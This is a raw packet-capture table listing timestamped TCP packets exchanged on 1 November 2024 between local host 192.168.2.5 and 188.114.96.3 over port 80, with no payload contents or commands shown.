Nov 1, 2024 15:15:00.362684011 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.362704039 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.362736940 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.362907887 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.362920046 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.362931013 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.362941980 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.362950087 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.362953901 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.362972975 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.362972975 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.362972975 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.362982988 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.362994909 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.362998962 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.363006115 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.363017082 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.363029003 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.363033056 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.363040924 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.363053083 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.363064051 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.363069057 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.363069057 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.363075972 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.363086939 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.363097906 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.363125086 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.363125086 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.363140106 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.364042044 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.364054918 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.364064932 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.364077091 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.364087105 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.364087105 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.364100933 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.364100933 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.364111900 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.364124060 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.364135027 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.364145994 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.364156008 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.364166975 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.364175081 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.364175081 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.364175081 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.364177942 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.364190102 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.364202023 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.364207029 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.364207029 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.364213943 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.364226103 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.364243031 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.364276886 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.364944935 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.364958048 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.364969015 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.364979029 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.364995956 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.365009069 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.365009069 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.365020990 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.365031958 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.365041018 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.365041018 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.365044117 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.365056038 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.365067005 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.365078926 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.365086079 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.365092039 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.365102053 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.365112066 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.365124941 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.365124941 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.365124941 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.365124941 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.365160942 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.365160942 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.365853071 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.365864038 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.365875006 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.365885973 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.365896940 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.365900993 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.365907907 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.365910053 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.365920067 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.365931034 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.365942001 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.365945101 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.365952015 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.365962982 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.365973949 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.365986109 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.365995884 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.365995884 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.365995884 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.365998030 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.366008043 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.366019011 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.366029978 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.366040945 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.366065979 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.366065979 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.366065979 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.366087914 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.366832018 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.366843939 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.366854906 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.366868019 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.366878033 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.366888046 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.366899014 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.366909981 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.366920948 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.366925955 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.366925955 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.366925955 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.366933107 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.366942883 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.366950035 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.366955996 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.366966009 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.366976976 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.366986036 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.366986036 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.366986990 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.366998911 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.367001057 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.367011070 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.367022038 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.367062092 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.367062092 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.367068052 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.367732048 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.367744923 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.367754936 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.367765903 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.367775917 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.367775917 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.367789984 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.367795944 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.367801905 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.367806911 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.367811918 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.367818117 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.367825031 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.367829084 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.367830992 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.367834091 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.367835045 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.367861032 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.367898941 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.368520021 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.368531942 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.368544102 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.368555069 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.368566036 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.368577957 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.368582010 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.368582010 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.368588924 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.368602037 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.368613958 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.368624926 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.368630886 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.368630886 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.368634939 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.368647099 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.368657112 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.368658066 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.368669987 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.368678093 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.368678093 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.368690014 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.368701935 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.368707895 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.368712902 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.368725061 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.368757010 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.368757010 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.368767977 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.369429111 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.369446039 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.369457006 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.369468927 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.369479895 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.369491100 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.369502068 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.369513988 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.369524002 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.369534969 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.369544029 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.369544983 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.369544983 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.369544983 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.369545937 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.369560957 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.369565964 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.369570017 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.369580030 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.369590998 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.369600058 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.369600058 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.369602919 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.369615078 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.369636059 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.369668007 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.370337009 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.370348930 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.370358944 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.370372057 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.370381117 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.370382071 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.370398998 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.370400906 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.370404005 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.370410919 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.370421886 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.370434046 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.370436907 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.370436907 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.370445013 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.370466948 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.370470047 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.370480061 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.370486975 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.370486975 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.370491028 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.370543957 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.370543957 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.371115923 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.371129990 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.371134996 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.371140957 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.371145964 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.371150017 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.371155024 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.371159077 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.371170044 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.371182919 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.371192932 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.371196985 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.371196985 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.371205091 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.371215105 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.371227026 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.371237993 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.371242046 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.371248007 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.371262074 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.371268988 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.371268988 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.371273041 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.371298075 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.371336937 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.372015953 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.372028112 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.372039080 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.372051001 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.372060061 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.372070074 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.372081995 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.372087955 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.372087955 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.372092009 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.372104883 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.372114897 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.372116089 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.372128010 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.372138977 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.372148991 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.372152090 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.372159958 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.372164965 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.372172117 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.372184038 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.372189999 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.372196913 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.372210979 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.372247934 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.372248888 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.373927116 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.374021053 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.374032974 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.374039888 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.374066114 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.374104977 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.374116898 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.374129057 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.374140978 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.374155045 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.374211073 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.374336958 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.374347925 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.374358892 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.374375105 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.374387026 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.374392033 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.374397993 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.374411106 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.374422073 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.374430895 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.374430895 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.374511957 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.374583006 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.374593973 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.374636889 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.374651909 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.374663115 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.374674082 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.374686003 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.374716997 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.374716997 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.374782085 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.374962091 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.374979019 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.374984980 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.374989986 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.374996901 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.375000954 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.375011921 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.375020027 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.375024080 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.375036001 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.375046968 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.375057936 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.375068903 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.375072956 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.375081062 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.375081062 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.375119925 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.375119925 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.375514984 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.375525951 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.375535965 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.375545979 CET	80	49874	188.114.96.3	192.168.2.5
